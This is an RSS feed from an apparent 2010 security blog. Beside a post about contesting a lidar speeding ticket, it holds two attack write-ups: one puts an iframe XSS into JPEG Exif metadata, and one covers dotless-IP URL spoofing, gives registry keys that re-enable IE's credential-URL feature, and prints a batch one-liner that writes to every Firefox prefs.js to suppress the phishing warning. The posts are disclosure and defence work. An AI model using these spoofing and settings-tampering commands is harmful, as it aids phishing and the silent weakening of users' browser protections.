<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dissection and Rants</title>
	<atom:link href="http://www.iglobalonline.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.iglobalonline.com</link>
	<description>Penetrating security, one app at a time</description>
	<lastBuildDate>Fri, 09 Apr 2010 18:08:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Technology Railroading: Speeding Tickets and Source Code</title>
		<link>http://www.iglobalonline.com/2010/03/29/technology-railroading-fighting-speeding-tickets-and-red-light-cameras/</link>
		<comments>http://www.iglobalonline.com/2010/03/29/technology-railroading-fighting-speeding-tickets-and-red-light-cameras/#comments</comments>
		<pubDate>Mon, 29 Mar 2010 20:23:03 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Technology Rants]]></category>
		<category><![CDATA[Lakeland Florida]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[radar gun source code]]></category>
		<category><![CDATA[railroading]]></category>
		<category><![CDATA[red light camera]]></category>
		<category><![CDATA[rights]]></category>
		<category><![CDATA[speeding tickets]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[technology railroading]]></category>

		<guid isPermaLink="false">http://www.iglobalonline.com/?p=171</guid>
		<description><![CDATA[Everyone wants to know how to beat a speeding ticket, red light camera, or breathalyzer test but how many actually believe they are innocent? Regardless your motive, the common denominator is that you have a legal right under the United States Constitution to provide a valid defense for the alleged violation. I am sure some [...]]]></description>
			<content:encoded><![CDATA[<div class="mceTemp mceIEcenter">
<dl id="attachment_175" class="wp-caption aligncenter" style="width: 230px;">
<dt class="wp-caption-dt"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/Railroaded.jpg"><img class="size-full wp-image-175" title="Railroaded" src="http://www.iglobalonline.com/wp-content/ups/2010/03/Railroaded.jpg" alt="Railroaded" width="220" height="225" /></a></dt>
</dl>
</div>
<p>Everyone wants to know how to beat a speeding ticket, red light camera, or breathalyzer test but how many actually believe they are innocent? Regardless your motive, the common denominator is that you have a legal right under the United States Constitution to provide a valid defense for the alleged violation. I am sure some of you are asking, &#8220;What does this have to do with technology or security?&#8221; and my response is, EVERYTHING!</p>
<h2>The Inside Scoop</h2>
<p>On January 7th, 2010 I was pulled over by a Lakeland Police Officer who allegedly clocked me going 64MPH in a 40MPH zone. I had just turned right at a red light and pulled up next to a truck when he was pointing the laser radar gun (lidar) in my direction. I didn&#8217;t believe I was speeding but decided to not speak up since it was my word against a machines. Amazed at the alleged speed, I elected to go to court rather then pay the $264 for something that I believed to be inaccurate. This is when it all started&#8230;</p>
<h2>The Crossroads</h2>
<p>My arraignment was set for February 11th and the Hearing Officer (Judge) opened up with a statement explaining the State of Florida presumes that any electronic device used for measuring speed is considered accurate and operating correctly if the operator provides proof of training, the radar gun has it&#8217;s 6 month certification, and the radar gun log with the date in question on it. This left me in a very awkward state; Do I pursue my innocence or just suck it up and get railroaded? Of course I plead &#8216;Not Guilty&#8217; and made an ad-hoc request to the Hearing Officer/Judge. My request was for the release of the source-code used by the radar gun in question. My prior research before court showed that the LTI 20/20 Radar Gun has had a well researched case in its inaccuracy. The source-code was ordered to be released  and they pushed back the court date to give the State of Florida ample time to request and deliver.</p>
<ul>
<li><a title="The Great Speed Gun Scandal" href="http://www.dailymail.co.uk/news/article-365563/The-great-speed-gun-scandal.html" target="_blank">The Great Speed Gun Scandal</a></li>
<li><a title="Laser-Based Speed Cameras Fail Accuracy Test" href="http://www.thenewspaper.com/news/02/224.asp" target="_blank">Laser-Based Speed Camera Fails Accuracy Test</a></li>
<li><a title="BBC Documents Errors in US Laser Speed Guns" href="http://www.thenewspaper.com/news/06/649.asp" target="_blank">BBC Documents Errors in US Laser Speed Guns</a></li>
<li><a title="UK Court Finds Long-Range Speed Camera Inaccurate" href="http://www.thenewspaper.com/news/01/175.asp" target="_blank">UK Court Finds Long-Range Speed Camera Inaccurate</a></li>
<li><a title="BBC Inside Out - Mobile Speed Cameras" href="http://www.bbc.co.uk/insideout/southwest/series7/speed-cameras.shtml" target="_blank">BBC Inside Out &#8211; Mobile Speed Cameras</a></li>
</ul>
<h2>A Sticky Situation</h2>
<p>If the State of Florida relies on a device to bring charges, infractions, or fines then its only legal that the same device should considered for a competent defense for the Defendant ensuring the rights under the Florida and United States Constitution. If the device source-code is withheld then what defense does the Defendant have? What will the source code tell us? If it is withheld, what is it hiding besides trade-secrets? Where will closed-source devices used by Government agencies lead our civil rights since the use of technology is growing more and more everyday? Will non-disclosure of source-code open up Pandora&#8217;s box for anyone cited or charged where an electronic device was used to determine guilt? I don&#8217;t know, but I can tell you that my motive is not to try to save the world.</p>
<h2>Dooms Day</h2>
<p>My non-jury trial is scheduled for April 8th and I have yet to receive any source-code. Today I filed a &#8216;Motion to Compel Radar Gun Source Code&#8217; hopefully to enforce the release of the source-code so I can accurately defend myself. The problem now is that court is in 2 weeks and I haven&#8217;t even started to dissect the source code.</p>
<p><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/Court-Docket.bmp"><img class="alignleft size-full wp-image-212" title="Court Docket" src="http://www.iglobalonline.com/wp-content/ups/2010/03/Court-Docket.bmp" alt="Court Docket" width="794" height="576" /></a></p>
<h2>Technological Barriers</h2>
<p>In almost all cases of traffic infractions, the use of some sort of mystical device, whether it be a radar gun or a red light camera, is used to determine someones guilt. The court usually presumes the device to be accurate if it is tested and approved through a specific set of tests inside of a controlled environment. This makes it difficult, if not impossible, to accurately defend your innocence because of the pre-conceived notion by the Judge or Hearing Officer that the device is true in its findings. What if a defendant wanted to review the source-code to the device, would it be made available for inspection? What about validating that the firmware on the device is the same firmware that was calibrated and certified during the Federal approval process? What I am getting to here is that there are major barriers restricting valid attempts of defense when facing a loss of driving privileges, financial penalties, and potential incarceration. This makes for complete closed-source devices and opposes the recent &#8220;Open Government Directive&#8221; instituted by our President.  Looks like its moving towards a major violation of our Civil Rights.</p>
<h2>The Proof is in the Footage</h2>
<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/N25ybu2y2aA&amp;rel=0"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/N25ybu2y2aA&amp;rel=0" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object><br />
<em>(Sorry for the quality, its all I could get from BBC)</em></p>
<ul>
<li>1 min 34 secs &#8211; 2 min 34 secs &#8211; Explanation of the &#8216;slip effect&#8217;</li>
<li>3 min 54 secs &#8211; 4 min 55 secs &#8211; False Results</li>
</ul>
<h2>UPDATED: 03/09/2010</h2>
<p>Wow, what an exhausting trial. The officer and I went head to head for awhile discussing the inconsistencies in the lidar gun. I shown actual pictures of a LTI 20/20 lidar gun being used in a higher speed capture due to a &#8216;Slip Effect&#8217;, &#8216;Reflection&#8217;, &#8216;Beam Spread&#8217;, and &#8216;Misalignment&#8217;.</p>
<p>The Judge and Officer argued that because traffic court is not under the same laws that govern criminal court, they have no obligation to provide evidence under &#8216;discovery&#8217; to a defendant for defense. The Judge also refused to enforce her previous order from arraignment for disclosure of source code stating that the Florida law requirements of what has to be shown (i.e. device certification, daily logs, and trainer certification) has been met by the Officer. She also argued that since it was intellectual property of a company she would not compel the State. The Officer admitted to using the device from inside the vehicle without a tripod even though he agreed the manufacturer recommended alignment with a tripod, the NHSTA required certification on a tripod, and the State of Florida requires calibration on a tripod.</p>
<p>Another thing they refused to take into consideration was the amount of time it would have taken me to cross the laser beams path from where I had taken my right hand turn at the red light. The approximate distance confirmed by the officer was .2/mile.  To travel .2/mile at 64 MPH would mean I would have had to been going 28.61 Meters Per Second making total travel time 11 seconds. This is assuming there is no traffic but keep in mind I was behind a black truck up until I switched lanes just a few seconds before I crossed the .2/mile mark and was clocked.</p>
<p>The officer did make some good statements regarding my defense. First, he questioned the dates on the pictures that I shown stating that technology changes drastically in 4 years. This is very true, my rebuttal was that without seeing the source code there was no way to tell if and what changes occurred therefore we would have to assume that these LTI 20/20 devices are still flawed. His next bullet was that the pictures show a LTI 20/20 Marksman and not a Ultralyte. Once again, very true and very good statement. My rebuttal to this is that all LTI 20/20 devices are using the same codebase with different features. They are not going to provide a different speed calculation algorithm for different devices.</p>
<p><span style="text-decoration: underline;"><strong>The Verdict</strong></span><br />
After we were finished tearing each other apart, the Judge ruled to deny my motion to dismiss and adjudicated me guilty using the previously used &#8220;Florida law requirements&#8221; as grounds for a guilty verdict. This is very interesting considering the State of Florida failed to comply with a court order, the proof that the LTI 20/20 devices are pron to miscalculated readings, the allotted time it would have taken me to cross the laser beam, and the device failing to comply with the governing the laser beam size requirements under Florida Statue 15B-2.016(2)(c).<strong> </strong></p>
<p><strong><span style="text-decoration: underline;">The Conclusion<br />
</span></strong>In most cases like this, the defendant would not even pursue challenging a laser radar (lidar) ticket. In the event they do, everyone including the Judge, assumes the defendant is guilty leaving the objective of the defense to prove innocence. The catch 22 is that the prosecution hides behind laws that restrict defendants from being able to prove a defense because all that is required for a guilty verdict is a few pieces of paper. Whats more alarming is that these pieces of paper (device certifications and training) do not take into account real world scenarios or the possibility of slip, beam spreading, or reflection. They get a stamp of approval which is the key to the court systems lock. How can this be a &#8216;right to fair trial&#8217; and even more how does this satisfy the &#8216;rights of the accused&#8217;? They argue its not criminal but if it is not criminal, how is the court allowed to impose fines, fees, points on your license, suspend your license, or even sentence you to jail time?</p>
<p>My next step is to appeal the Judges verdict. A few people asked if I would be willing to appeal it and take it further. Some even said they would donate to help offset some of the fees. This is no longer about a speeding ticket, its bigger. Its now about your civil rights as a United States citizen. If you are willing to support me in any way, please send me an email: <a href="mailto:michael@iglobalonline.com" target="_blank">michael at iGlobalOnline dot com</a>.</p>
<p><strong><span style="text-decoration: underline;">Slip Effect</span><br />
</strong></p>
<ul>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/SlipWall.jpg" target="_blank">Wall clocked at 100 MPH</a></li>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/SlipBefore.jpg" target="_blank">Truck No-Slip</a></li>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/SlipAfter.jpg" target="_blank">Truck Slip</a></li>
</ul>
<p><strong><span style="text-decoration: underline;">Reflection</span><br />
</strong></p>
<ul>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/ReflectionCarToCar.jpg" target="_blank">Standing still car with a car passing</a></li>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/ReflectionVanToCar.jpg" target="_blank">Standing still car with a van passing</a></li>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/ReflectionBikeToCar.jpg" target="_blank">Standing still car with a motorcycle passing</a></li>
</ul>
<p><strong><span style="text-decoration: underline;">Beam Spread</span><br />
</strong></p>
<ul>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/BeamSpreadBefore.jpg" target="_blank">Motorcycle Before Spread</a></li>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/BeamSpreadAfter.jpg" target="_blank">Motorcycle After Spread</a></li>
</ul>
<p><strong><span style="text-decoration: underline;">Misalignment</span><br />
</strong></p>
<ul>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/MisalignmentMoving.jpg" target="_blank">Vehicle Moving with speed of 0 MPH</a></li>
<li><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/MisalignmentStopped.jpg" target="_blank">Vehicle Stopped with speed of 17 MPH</a></li>
</ul>
<h5><em>* Pictures from A Review of Laser Speed Meters in Road Traffic Policing By: Paul D. Lee</em></h5>
<p>I also brought forth a scientific report showing the actual laser divergence was 1/3 larger then the manufacturer reported. This is important because the Florida law states,</p>
<blockquote><p><strong>15B-2.016 Tests to Determine Accuracy of Laser Speed Measuring Devices.<br />
(2)(c) &#8211; Sight Alignment/Beam Pattern Test.</strong></p>
<p><em>The sighting device will be checked for accuracy to determine that it remains within the laser beam at all distances from 500-3000 feet. This may be determined from calculation based on an initial beam pattern/sight alignment analysis. The beam will be analyzed to determine that it is within the pattern/size tolerances specified by the manufacturer.</em></p></blockquote>
<p>Which means the certification of the actual gun should not have passed.</p>
<p><span style="text-decoration: underline;"><strong>Divergence Calculations</strong></span></p>
<p><strong>Distance                   Claimed Laser Beam Width         Actual Laser Beam Width</strong><br />
100                               0.3                                                                   0.44<br />
200                               0.6                                                                   0.88<br />
400                               1.2                                                                   1.76<br />
500                               1.5                                                                   2.20<br />
800                               2.4                                                                   3.52<br />
1000                             3.0                                                                  4.40</p>
<p>Claimed divergence:            3.0 milli-radians<br />
Actual divergence:                4.4 milli-radians</p>
<h5><em>* Report Concerning Tests Performed at Elvington Aerodrome on 2 December 2006, by Dr. Michael Clark, dated 6 January 2007.</em></h5>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 2483px; width: 1px; height: 1px; overflow: hidden;"><!--[if !mso]> <mce:style><!  v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} --> <!--[endif]--><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --><!--[if gte mso 10]> <mce:style><!   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} --> <!--[endif]--><span style="font-size: 12pt; font-family: &amp;amp;amp;"><!--[if gte vml 1]><v:shapetype id="_x0000_t75"  coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"  filled="f" stroked="f"> <v:stroke joinstyle="miter" /> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0" /> <v:f eqn="sum @0 1 0" /> <v:f eqn="sum 0 0 @1" /> <v:f eqn="prod @2 1 2" /> <v:f eqn="prod @3 21600 pixelWidth" /> <v:f eqn="prod @3 21600 pixelHeight" /> <v:f eqn="sum @0 0 1" /> <v:f eqn="prod @6 1 2" /> <v:f eqn="prod @7 21600 pixelWidth" /> <v:f eqn="sum @8 21600 0" /> <v:f eqn="prod @7 21600 pixelHeight" /> <v:f eqn="sum @10 21600 0" /> </v:formulas> <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" /> <o:lock v:ext="edit" aspectratio="t" /> </v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" style='width:393.75pt;  height:315pt'> <v:imagedata src="file:///C:\DOCUME~1\mjfel529\LOCALS~1\Temp\msohtml1\01\clip_image001.emz" mce_src="file:///C:\DOCUME~1\mjfel529\LOCALS~1\Temp\msohtml1\01\clip_image001.emz"   o:title="" /> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/mjfel529/LOCALS%7E1/Temp/msohtml1/01/clip_image002.gif" alt="" width="525" height="420" /><!--[endif]--></span></div>

	All Tags: <a href="http://www.iglobalonline.com/tag/lakeland-florida/" title="Lakeland Florida" rel="tag nofollow">Lakeland Florida</a>, <a href="http://www.iglobalonline.com/tag/open-source/" title="open source" rel="tag nofollow">open source</a>, <a href="http://www.iglobalonline.com/tag/radar-gun-source-code/" title="radar gun source code" rel="tag nofollow">radar gun source code</a>, <a href="http://www.iglobalonline.com/tag/railroading/" title="railroading" rel="tag nofollow">railroading</a>, <a href="http://www.iglobalonline.com/tag/red-light-camera/" title="red light camera" rel="tag nofollow">red light camera</a>, <a href="http://www.iglobalonline.com/tag/rights/" title="rights" rel="tag nofollow">rights</a>, <a href="http://www.iglobalonline.com/tag/speeding-tickets/" title="speeding tickets" rel="tag nofollow">speeding tickets</a>, <a href="http://www.iglobalonline.com/tag/technology/" title="technology" rel="tag nofollow">technology</a>, <a href="http://www.iglobalonline.com/tag/technology-railroading/" title="technology railroading" rel="tag nofollow">technology railroading</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.iglobalonline.com/2010/03/29/technology-railroading-fighting-speeding-tickets-and-red-light-cameras/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
<enclosure url="http://www.iglobalonline.com/wp-content/ups/2010/03/InsideOutFinal.wmv" length="3486476" type="video/x-ms-wmv" />
		</item>
		<item>
		<title>Firefox 3.6 FileAPI Exif Injection</title>
		<link>http://www.iglobalonline.com/2010/03/26/firefox-3-6-fileapi-exif-injection/</link>
		<comments>http://www.iglobalonline.com/2010/03/26/firefox-3-6-fileapi-exif-injection/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 16:14:26 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Browser Security]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[EXIF]]></category>
		<category><![CDATA[exiv2]]></category>
		<category><![CDATA[FileAPI]]></category>
		<category><![CDATA[Firefox 3.6]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[metadata]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.iglobalonline.com/?p=155</guid>
		<description><![CDATA[W3C File API gives web applications the functionality to work with objects and their data elements through drag and drop.  Firefox 3.6 now supports File API. Given its potential, I decided to test the waters using Exif meta data. Most web applications read Exif meta data from JPEG images as a normal strings so in [...]]]></description>
			<content:encoded><![CDATA[<p>W3C File API gives web applications the functionality to work with objects and their data elements through drag and drop.  Firefox 3.6 now supports File API. Given its potential, I decided to test the waters using Exif meta data. Most web applications read Exif meta data from JPEG images as a normal strings so in my demonstration today I will inject an iframe into the Exif description of my sample JPEG image.</p>
<h2>The tools of the trade</h2>
<ul>
<li>Firefox 3.6</li>
<li>A basic JPEG image</li>
<li>exiv2 &#8211; <a title="http://www.exiv2.org/" href="http://www.exiv2.org/" target="_blank">http://www.exiv2.org/</a></li>
<li>Mozilla&#8217;s demo Exif web application<a title="http://www.exiv2.org/" href="http://www.exiv2.org/" target="_blank"><br />
</a></li>
</ul>
<h2>A simple XSS construction</h2>
<p>I start with writing a real quick alert onload into a basic HTML file I will be hosting on the web. This will launch an alert box when the HTML loads in the users browser.</p>
<p><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/XSS-Construction.bmp"><img class="aligncenter size-full wp-image-156" title="XSS Construction" src="http://www.iglobalonline.com/wp-content/ups/2010/03/XSS-Construction.bmp" alt="XSS Construction" /></a></p>
<h2>Contaminating the Exif metadata</h2>
<p>Using a image metadata tool called <a title="http://www.exiv2.org/" href="http://www.exiv2.org/" target="_blank">exiv2</a>, I inject the iframe into the JPEG image by simply writing to the ImageDescription. By calling exiv2 with the -pv flag, you notice the ImageDescription was successfully written.</p>
<p><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/Exif-Injection.bmp"><img class="aligncenter size-full wp-image-160" title="Exif Injection" src="http://www.iglobalonline.com/wp-content/ups/2010/03/Exif-Injection.bmp" alt="Exif Injection" /></a></p>
<p>Link: <a title="http://www.iglobalonline.com/wp-content/ups/2010/03/iglobal.jpg" href="http://www.iglobalonline.com/wp-content/ups/2010/03/iglobal.jpg" target="_blank">Sample image used in example</a></p>
<h2>Testing the payload</h2>
<p>For testing, we will use Mozilla&#8217;s own demo page using FileAPI and an Exif parser written by Jacob Seidelin. The page is located at: <a title="http://demos.hacks.mozilla.org/openweb/FileAPI/" href="http://demos.hacks.mozilla.org/openweb/FileAPI/" target="_blank">http://demos.hacks.mozilla.org/openweb/FileAPI/</a></p>
<p>When you drag and drop the contaminated image into the box in the web app, you immediately notice that the Exif data is parsed and processed without filtering. Since our injection was an iframe, it then loads content from our hosted file.</p>
<p><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/Proof-of-Concept.bmp"><img class="aligncenter size-full wp-image-162" title="Exif Injection - Proof of Concept" src="http://www.iglobalonline.com/wp-content/ups/2010/03/Proof-of-Concept.bmp" alt="Exif Injection - Proof of Concept" width="911" height="636" /></a></p>
<h2>A quick and easy developer work around</h2>
<p>Ok, since this exploitation isn&#8217;t really in FileAPI or Firefox 3.6 but rather the Exif parser within the web application, there isn&#8217;t much that can be done. Developers should always process strings through a filter before rendering it on a page. By doing this, you take complete control of how and what renders within your users browser eliminating the possibility of malicious code being executed.</p>
<h2>UPDATE: 03/28/2010</h2>
<p>After releasing to Full Disclosure, it was reported to Mozilla and they have since removed access to the demo site until it is fixed. I probably should have notified Mozilla myself but since it was just a silly XSS in a demo site, it didnt cross my mind.</p>
<p>Ref: <a title="https://bugzilla.mozilla.org/show_bug.cgi?id=555574" href="https://bugzilla.mozilla.org/show_bug.cgi?id=555574" target="_blank">https://bugzilla.mozilla.org/show_bug.cgi?id=555574</a></p>

	All Tags: <a href="http://www.iglobalonline.com/tag/browser/" title="browser" rel="tag nofollow">browser</a>, <a href="http://www.iglobalonline.com/tag/exif/" title="EXIF" rel="tag nofollow">EXIF</a>, <a href="http://www.iglobalonline.com/tag/exiv2/" title="exiv2" rel="tag nofollow">exiv2</a>, <a href="http://www.iglobalonline.com/tag/fileapi/" title="FileAPI" rel="tag nofollow">FileAPI</a>, <a href="http://www.iglobalonline.com/tag/firefox-3-6/" title="Firefox 3.6" rel="tag nofollow">Firefox 3.6</a>, <a href="http://www.iglobalonline.com/tag/injection/" title="injection" rel="tag nofollow">injection</a>, <a href="http://www.iglobalonline.com/tag/metadata/" title="metadata" rel="tag nofollow">metadata</a>, <a href="http://www.iglobalonline.com/tag/xss/" title="XSS" rel="tag nofollow">XSS</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.iglobalonline.com/2010/03/26/firefox-3-6-fileapi-exif-injection/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Spoofed URL&#8217;s w/ Obfuscation and Preference Hijacking</title>
		<link>http://www.iglobalonline.com/2010/03/22/oldschool-url-obfuscation-w-override-preferences/</link>
		<comments>http://www.iglobalonline.com/2010/03/22/oldschool-url-obfuscation-w-override-preferences/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 22:37:18 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Browser Security]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[IE7/8]]></category>
		<category><![CDATA[insecure preferences]]></category>
		<category><![CDATA[Obfuscation]]></category>
		<category><![CDATA[Proof of Concept]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[URL spoof]]></category>

		<guid isPermaLink="false">http://www.iglobalonline.com/?p=90</guid>
		<description><![CDATA[URL obfuscation has been around for awhile. In a nutshell, it&#8217;s simply concatenating IP octets into hex and then turning it into a decimal number. The result is a URL similar to: http://1249717651/ As you see, there is no real way to know whether your on the Official Google web page or if the site [...]]]></description>
			<content:encoded><![CDATA[<p>URL obfuscation has been around for awhile. In a nutshell, it&#8217;s simply concatenating IP octets into hex and then turning it into a decimal number.</p>
<p>The result is a URL similar to: <img src="file:///C:/DOCUME%7E1/mjfel529/LOCALS%7E1/Temp/moz-screenshot-2.png" alt="" /><img src="file:///C:/DOCUME%7E1/mjfel529/LOCALS%7E1/Temp/moz-screenshot-3.png" alt="" /><a title="http://1249717651/" href="http://1249717651/" target="_blank">http://1249717651/</a></p>
<p>As you see, there is no real way to know whether your on the Official Google web page or if the site you are at is an attack site waiting for you to do something.</p>
<p style="text-align: center;"><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/Google-dotless.bmp"><img class="aligncenter size-full wp-image-96" style="border: 1px solid black;" title="Google Dotless URL" src="http://www.iglobalonline.com/wp-content/ups/2010/03/Google-dotless.bmp" alt="Google Dotless URL" width="695" height="488" /></a></p>
<h2><strong>All your URL are belong to us</strong></h2>
<p>You can easily place a random website location as a username in front of the dotless IP which would really confuse the user. In this example, I will show you how to forge the www.bing.com URL but really direct the user to Google.com:</p>
<p>See hyperlink: <a title="http://www.bing.com:\@1249717651" href="http://www.bing.com:\@1249717651" target="_blank">http://www.bing.com:\@1249717651</a></p>
<h2><strong>Browser <span style="text-decoration: line-through;">in</span>Security</strong></h2>
<p>Ok so, now that you understand how simple URL obfuscation is; what security do browsers implement to prevent us from accidentally clicking on a malicious link?</p>
<p>With FireFox 3.6</p>
<p>Because the spoofed URL is actually a username that is being concatenated with the dotless IP, FireFox checks whether the site requires authentication. The default installation prompts the user with an alert letting them know the link is suspicious because the requested server does not require authentication however the link contained a login.</p>
<p><a href="http://www.iglobalonline.com/wp-content/ups/2010/03/Firefox-Prompt.bmp"><img class="aligncenter size-full wp-image-100" title="Firefox Prompt" src="http://www.iglobalonline.com/wp-content/ups/2010/03/Firefox-Prompt.bmp" alt="Firefox Prompt" /></a></p>
<p>With IE7/8, using authentication in line is turned completely off.</p>
<h2><strong>Hacking the Gibson<br />
</strong></h2>
<p>Ok, so we understand there is a potential hazard with spoofed URL&#8217;s and we also see that browsers attempt to protect us by either prompting us with a message or disabling the opportunity all together. But just how secure is that? How easy would it be for a trojan to re-enable those features in our favorite browser for future contamination of URL&#8217;s?</p>
<h2><strong>IE7/8 Instability</strong></h2>
<p>Since Microsoft loves to store settings in the registry for just about everything, I am sure you won&#8217;t be surprised to know that by adding 2 simple entries in the registry you can re-enable this &#8220;feature&#8221;.</p>
<p>All you have to do is create 2 new DWORD entries (iexplore.exe and explorer.exe) with the value <strong>0</strong> under the sub-key:</p>
<p>HKEY_LOCAL_MACHINE\Software\Microsoft\Internet  Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE</p>
<h2><strong>How Firefox flops<br />
</strong></h2>
<p>Of course Firefox is going to be a little bit more tricky because it doesn&#8217;t store its preferences in the registry. The little warning message can be completely disabled by simply setting a custom preferences within Firefox by accessing the settings through typing, <strong>about:config</strong> in the address bar but that won&#8217;t work for our circumstance.</p>
<p>The problem with this is that an attacker that has already infiltrated a machine can overwrite these browser profile settings by injecting a custom setting into prefs.js which is the preferences Firefox loads during initialization.</p>
<p>user_pref(&#8220;network.http.phishy-userpass-length&#8221;,100);</p>
<p>With a simple one-liner batch script, this feature can be enabled leaving future links prone to becoming spoofed.</p>
<ul>
<li>WindowsXP<br />
FOR /R &#8220;C:\Documents and Settings&#8221; %%G IN (prefs.js) DO echo user_pref(&#8220;network.http.phishy-userpass-length&#8221;,100); &gt;&gt; %%G</li>
</ul>
<ul>
<li>Vista/7<br />
FOR /R &#8220;C:\USERS&#8221; %%G IN (prefs.js) DO echo user_pref(&#8220;network.http.phishy-userpass-length&#8221;,100); &gt;&gt; %%G</li>
</ul>
<h2><strong><strong>And then there was Chrome</strong></strong></h2>
<p>As frightening as this might sound, Chrome did not protect the user from this at all. Google is usually on-top of things but I guess with Chrome still being fairly immature in the browser arena, we can only hope things get better from here.</p>
<h2><strong>Leaving users with their pants down<br />
</strong></h2>
<p>Why do browsers make it so easy to re-enable this stuff? Firefox preferences should be in a controlled environment behind lock and key. Microsoft IE should at least prompt when a suspicious link is clicked. With the rise in crime-ware Trojans, harvesting bank credentials is going to get easier and easier for criminals.</p>
<p>Under normal circumstances we would notify the vendors to let them know the vulnerability but because this attack vector has been addressed in the previous years, the re-enabling of the functionality is more of a design flaw then a vulnerability.</p>
<h2>What&#8217;s Next?</h2>
<p>You should periodically check whether or not these settings are enabled. New age trojans, such as &#8216;Koobface&#8217; are using these oldschool tricks to mask their true locations (See <a title="Webroot" href="http://blog.webroot.com/2010/03/19/weird-new-koobface-urls-use-old-tricks/" target="_blank">Webroot</a>).</p>
<p>I published a utility called &#8216;Dotless&#8217; which will scan and fix your browser preferences. Check it out in the <a title="http://www.iglobalonline.com/utilities/" href="http://www.iglobalonline.com/utilities/" target="_self">Utilities Section</a></p>
<p>Stay tuned as we peek into how this bug is easily exploited on mobile devices.</p>

